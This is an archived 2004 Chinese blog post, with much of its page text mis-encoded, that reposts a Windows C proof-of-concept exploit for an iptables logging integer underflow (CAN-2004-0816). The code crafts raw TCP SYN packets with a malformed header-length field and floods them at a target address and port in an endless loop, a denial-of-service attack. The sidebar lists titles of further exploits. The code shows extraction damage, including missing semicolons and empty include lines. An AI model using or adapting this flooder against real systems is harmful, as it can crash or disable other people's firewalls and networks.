ïw¤ÎBlog

来源: BlogBus 原始链接: http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=479575 存档链接: https://web.archive.org/web/20041130054211id_/http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=479575


ïw¤ÎBlog ÃΣ¬·ÉÆðµÄµØ·½ <<<IEÓÖÏÖ¸ßΣ©¶´ ϵͳ´òÈ«²¿²¹¶¡ÈÔÎÞ¼ÃÓÚÊ | Ê×Ò³ | Ç÷ÊÆ¿Æ¼¼½«·¢²¼Ð¿îÇ÷ÊÆ¿Æ¼¼ÍøÂ粡¶¾Ç½>>> 2004-11-05 21:06 /* *

  • iptables.log.integer.underflow.POC.c
  • (CAN-2004-0816, BID11488, SUSE-SA:2004:037)
  • felix__zhou at hotmail dot com
  • */

#include #include #include #include #pragma comment(lib,"ws2_32")

static unsigned char dip[4]; static unsigned int da; static unsigned short dp; static unsigned char dport[2];

static unsigned char sip[4]; static unsigned int sa; static unsigned short sp; static unsigned char sport[2];

/* static void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum) { unsigned int csum = 0; unsigned char *p = ip;

while (1 < size) { csum += (p[0] << 8) + p[1]; p += 2; size -= 2; }

if (size) csum += *p;

csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16);

sum[0] = (((unsigned short)(~csum)) >> 8); sum[1] = ((((unsigned short)(~csum)) << 8) >> 8); } */

static void tcp_csum(unsigned char *tcp, unsigned char *ip, unsigned int size, unsigned char *sum) { unsigned int csum = 0; unsigned char *p = tcp;

while (1 < size) { csum += (p[0] << 8) + p[1]; p += 2; size -= 2; }

csum += (ip[12] << 8) + ip[13]; csum += (ip[14] << 8) + ip[15];

csum += (ip[16] << 8) + ip[17]; csum += (ip[18] << 8) + ip[19];

csum += 0x06; csum += 0x14;

if (size) csum += *p;

csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16);

sum[0] = (((unsigned short)(~csum)) >> 8); sum[1] = ((((unsigned short)(~csum)) << 8) >> 8); }

static int work(SOCKET s) { DWORD ret = 1; unsigned char buf[1500]; unsigned char *ip; unsigned char *tcp; unsigned int seq = 0x01; struct sockaddr_in host;

ZeroMemory(buf, 1500);

ip = buf; tcp = buf + 20;

ip[0] = 0x45; /* ver & hlen / ip[3] = 0x28; / tlen / ip[8] = 0x80; / ttl / ip[9] = 0x06; / protocol / ip[10] = ip[11] = 0; ip[12] = sip[0]; / saddr / ip[13] = sip[1]; ip[14] = sip[2]; ip[15] = sip[3]; ip[16] = dip[0]; / daddr */ ip[17] = dip[1]; ip[18] = dip[2]; ip[19] = dip[3];

tcp[0] = sport[0]; tcp[1] = sport[1]; tcp[2] = dport[0]; /* dport / tcp[3] = dport[1]; tcp[12] = 0x40; / hlen / / HERE / tcp[13] = 0x02; / flags */

ZeroMemory(&host, sizeof(struct sockaddr_in)); host.sin_family = AF_INET; host.sin_port = dp; host.sin_addr.s_addr = da;

for (;; ) { tcp[4] = (seq >> 24); /* seq number */ tcp[5] = ((seq << 8) >> 24); tcp[6] = ((seq << 16) >> 24); tcp[7] = ((seq << 24) >> 24); tcp[16] = tcp[17] = 0; seq ++;

tcp_csum(tcp, ip, 0x14, tcp + 16);

if (SOCKET_ERROR == sendto(s, buf, 0x28, 0, (SOCKADDR *)&(host), sizeof host)) { if (WSAEACCES != WSAGetLastError()) { printf("sendto() failed: %d\n", WSAGetLastError());

ret = 1; } else { printf("You must be Administrator!\n"); }

break; } }

return ret; }

static char usage[] = "Usage: %s dip dport sip sport\n";

int main(int argc, char **argv) { WORD ver = MAKEWORD(2, 2); WSADATA data; unsigned char *p; SOCKET s; int ret = 1; BOOL eopt = TRUE;

if (5 != argc) { printf(usage, argv[0]); goto out; }

if (INADDR_NONE == (da = inet_addr(argv[1]))) { printf("dest ip address is NOT valid!\n"); printf(usage, argv[0]); goto out; }

p = (unsigned char *)&da dip[0] = p[0]; dip[1] = p[1]; dip[2] = p[2]; dip[3] = p[3];

dp = atoi(argv[2]); dport[0] = ((dp << 16) >> 24); dport[1] = ((dp << 24) >> 24);

if (INADDR_NONE == (sa = inet_addr(argv[3]))) { printf("source ip address is NOT valid!\n"); printf(usage, argv[3]); goto out; }

p = (unsigned char *)&sa sip[0] = p[0]; sip[1] = p[1]; sip[2] = p[2]; sip[3] = p[3];

sp = atoi(argv[4]); sport[0] = ((sp << 16) >> 24); sport[1] = ((sp << 24) >> 24);

srand((unsigned int)time(0));

if (WSAStartup(ver, &data)) { printf("WSAStartup() failed\n"); goto out; }

if (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) goto err;

if (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&eopt, sizeof(eopt))) goto err1;

work(s);

err1: closesocket(s); err: WSACleanup();

out: return ret; } bamb00 @ 2004-11-05 21:06 ·µ»ØÒ³Ê× | ÆÀÂÛ | ÒýÓÃ(0) | ±à¼­ ÆÀÂÛ ·¢±íÆÀÂÛ ×îÐÂÎÄÕ SLmail 5.x POP3 Remote Pass Buffer Overflow Exploit Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit Ç÷ÊÆ¿Æ¼¼½«·¢²¼Ð¿îÇ÷ÊÆ¿Æ¼¼ÍøÂ粡¶¾Ç½ VeriSign³Æ£º90%ÍøÂç¹¥»÷À´×ÔÃÀ¹ú¿í´øÓû§ UBB.Threads 6.2.-6.3. one char bruteforce Exploit Multiple Antivirus Products Virus Detection Bypass PoC Exploit Eudora 6.2 Remote Attachment Spoofing Proof of Concept IPSwitch-IMail 8.13 Delete Command stack overflow Exploit Kerio Personal Firewall Multiple IP Options Denial of Service PoC NetNote Server v2.2 build 230